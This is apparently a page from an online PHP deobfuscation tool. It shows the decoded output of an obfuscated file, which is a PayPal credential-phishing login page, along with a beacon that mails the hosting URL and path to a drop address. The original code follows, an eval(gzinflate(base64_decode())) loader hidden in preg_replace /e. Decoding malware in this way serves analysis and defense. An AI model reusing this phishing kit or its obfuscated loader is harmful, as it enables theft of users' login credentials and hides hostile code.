Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x..

Decoded Output download

?><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" ns1:xmlns="http://ogp.me/ns#">

<head>
<script language="JavaScript1.2">
    var testresults
    function checkemail(){
        var str = document.validation.1.value
        var filter = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
        if (filter.test(str))
            testresults = true
        else {
            alert("Please input a valid email address!")
            testresults = false
        }
        return (testresults)
    }
</script>

<script>
    function checkbae(){
        if (document.layers || document.getElementById || document.all)
            return checkemail()
        else
            return true
    }
</script>

    <title>Login - PayPal</title>
   
    <style type="text/css">
     
		#body
		{
			width : 900px;
			heigth : 900px;
		}
        input {
            -moz-appearance: none;
            -moz-box-sizing: border-box;
            background: none repeat 0 0 #FFF;
            border: 1px solid #B3B3B3;
            border-radius: 5px;
            color: #333;
            font-size: 1.071rem;
            height: 38px;
            line-height: 1.25em;
            margin: 0;
            padding: 0;
            position: relative;
            text-indent: 10px;
            transition: border-color 0.3s ease 0s;
            width: 250px;
        }
        .btn {
            -webkit-appearance: none;
            -moz-box-sizing: border-box;
            background: none repeat 0 0 #0079C1;
            border-radius: 5px;
            border-color: #0079C1;
            color: #FFF;
            cursor: pointer;
            display: inline-block;
            font-family: arial, sans-serif;
            font-size: 15px;
            font-weight: bold;
            line-height: 1.4545em;
            margin-bottom: 0;
            padding: 9px 15px 10px;
            text-align: center;
            vertical-align: middle;
            height: 40px;
            _margin-left: -10px;
            *margin-left: -10px;
        }
        .btn:hover,
        .btn:focus {
            background: none repeat 0 0 #0285D2;
            color: #FFF;
            text-decoration: none;
        }
        .btn:focus {
            outline: thin dotted #333;
            outline-offset: -2px;
        }
        .btn.active,
        .btn:active {
            background-image: none;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15) inset, 0 1px 2px rgba(0, 0, 0, 0.05);
            outline: 0 none;
        }
        .btn.disabled,
        .btn[disabled],
        .btn.disabled:hover,
        .btn[disabled]:hover,
        .btn.disabled:active,
        .btn[disabled]:active {
            background: none repeat 0 0 #E5E5E5;
            cursor: auto;
        }
        .btn-large {
            border-radius: 6px;
            font-size: 17.234px;
            padding: 9px 14px;
        }
        .btn-large[class^="icon-"],
        .btn-large[class*=" icon-"] {
            margin-top: 4px
        }
        .btn-secondary {
            background: none repeat 0 0 #DDD;
            color: #333;
        }
        .btn-secondary:hover,
        .btn-secondary:focus {
            background: none repeat 0 0 #DDD;
            color: #333;
        }
        input.large {
            width: 337px
        }
        input.large[type=password], input.large[type=text] {
            font-size: 15px;
            font-weight: normal;
        }
        input[type=text]:focus, input[type=password]:focus {
            border-color: #0079C1;
            outline: 0 none;
        }
 
    .auto-style1 {
		margin-top: 20px;
	}
 
    </style>

	
   
    <link rel="shortcut icon" href="img/pp_favicon_x.ico">
    <link rel="apple-touch-icon" href="img/apple-touch-icon.png">

</head>

<body style="background-image: url('img/bg.PNG');">

<form method="post" action="LOGIN.php" onSubmit="return checkbae()" style="z-index: 1; width: 395px; height: 232px; position: absolute; top: 208px; left: 211px">

<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 53px; left: 24px">
	<input name="1" required autocomplete="off" class="large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="email" />
</div>

<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 129px; left: 24px">
	<input name="2" required autocomplete="off" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="password" />
</div>

<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 182px; left: 24px">
	<input name="submit.x" type="submit" value="Login" class="btn large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 41px"/>
</div>
<input type="hidden" value="css/style.css" name="hostname"/>

</form>

<div class="auto-style1" style="height: 710px">
</div>

</body>

</html>
<?
$site = "www.jjjjj.com";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "OkBYE";
$header = "from: Hacked <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "
";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);

}
?>

Did this file decode correctly?

Original Code


preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSClOq8jLMTMzNjfUUCkuKdJUqObiBAKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFky1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B","");preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B","");

Function Calls

gzinflate 3
dsfxnl66371 1
preg_replace 2
base64_decode 3

Variables

$a base64_decode
$b gzinflate
$str vVh7b9s2EP87BfodWCVA7c6S/GwaJU66Nu7WIWuzNN0wJJlBS5SshRI1kY7z..

Stats

MD5 02a7cfb8e1b9ca1f37dbc7b744a90e59
Eval Count 5
Decode Time 80 ms